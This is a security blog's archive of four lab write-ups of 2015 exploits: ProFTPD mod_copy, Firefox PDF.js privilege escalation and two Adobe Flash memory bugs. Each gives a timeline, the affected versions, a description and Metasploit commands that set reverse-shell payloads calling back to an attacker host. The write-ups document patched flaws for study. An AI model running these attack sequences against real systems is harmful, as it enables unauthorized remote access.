Category Archives: Exploits

All my posts regarding exploits, PoCs and 0days.

CVE-2015-3306 ProFTPD 1.3.5 Mod_Copy Command Execution

Exploits, Metasploit,

Timeline :

Vulnerability discovered and reported to the vendor by Vadim Melihow the 2015-04-07
Workaround provided by the vendor the 2015-04-07
Vulnerability details released the 2015-04-13
Metasploit PoC provided the 2015-04-22
Patch provided by the vendor the 2015-05-28

PoC provided by :

Vadim Melihow
xistence

Reference(s) :

CVE-2015-3306

Affected version(s) :

All versions of ProFTPD 1.3.5 before 1.3.5a
All versions of ProFTPD 1.3.6 before 1.3.6rc1

Tested on :

Centos 6.7 with ProFTPD 1.3.5

Description :

This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the ‘nobody’ user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

This vulnerability is only triggered in particular conditions:
– ProFTPD need to have the rights to write into a web accessible folder having the privileges of ProFTPD.
– SELinux must be disabled

Commands :

ProFTPD is running with user and group “nobody”
ProFTPD is configured with “LoadModule mod_copy.c” in proftpd.conf file
A “test” folder has been created in “/var/www/html/“ with nodody:nobody privileges

use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST 192.168.6.154
set SITEPATH /var/www/html/test
set TARGETURI /test/
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.6.138
run

id

Done !

MFSA-2015-42 Firefox PDF.js Privileged Javascript Injection

Exploits, Metasploit, , , , , ,

Timeline :

Vulnerability discovered and reported to the vendor by Bobby Holley
Patch provided by the vendor via MFSA-2015-42 the 2015-03-31
Metasploit PoC provided the 2015-08-16

PoC provided by :

Bobby Holley
Marius Mlynski
joev

Reference(s) :

CVE-2015-0802
MFSA-2015-42
CVE-2015-0816
MFSA-2015-33
ZDI-15-110

Affected version(s) :

Firefox versions bellow version 37

Tested on :

Windows 7 SP1 with Firefox version 36.0.4

Description :

This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs (CVE-2015-0802). PDF.js (CVE-2015-0816) is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

Commands :

use exploit/multi/browser/firefox_pdfjs_privilege_escalation
set SRVHOST 192.168.6.138
set PAYLOAD firefox/shell_reverse_tcp
set LHOST 192.168.6.138
run

SYSTEMINFO

CVE-2015-0336 Adobe Flash Player NetConnection Type Confusion

Exploits, Metasploit, , , , ,

Timeline :

Vulnerability discovered and reported to the vendor by Natalie Silvanovich in January 2015
Patch provided by the vendor via APSA15-05 the 2015-03-12
Vulnerability found exploited into exploit kits the 2015-03-19
Details of the vulnerability provided by Google Security the 2015-04-13
Metasploit PoC provided the 2015-05-28

PoC provided by :

Natalie Silvanovich
Unknown
juan vazquez

Reference(s) :

CVE-2015-0336
APSB15-05

Affected version(s) :

Adobe Flash Player 16.0.0.305 and earlier versions
Adobe Flash Player 11.2.202.442 and earlier 11.x versions

Tested on :

Windows 7 SP1 with IE 8 and Flash 16.0.0.305

Description :

This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and ultimately accomplish remote code execution. This module has been tested successfully on:

* Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305.
* Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Linux Mint “Rebecca” (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.424.
* Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442.

Commands :

use exploit/multi/browser/adobe_flash_net_connection_confusion
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138

getuid

CVE-2015-0313 Adobe Flash Player ByteArray With Workers Use After Free

Exploits, Metasploit, , , , , ,

Timeline :

Vulnerability found exploited in the wild by TrendMicro in January 2015
Patch provided by the vendor via APSA15-02 the 2015-02-02
Details of the vulnerability provided by TrendMicro the 2015-02-04
Metasploit PoC provided the 2015-03-28

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0313
APSA15-02

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions for Windows and Macintosh

Tested on :

Windows 7 SP1 with IE 8 and Flash 16.0.0.296

Description :

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, which can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

Commands :

use exploit/windows/browser/adobe_flash_worker_byte_array_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid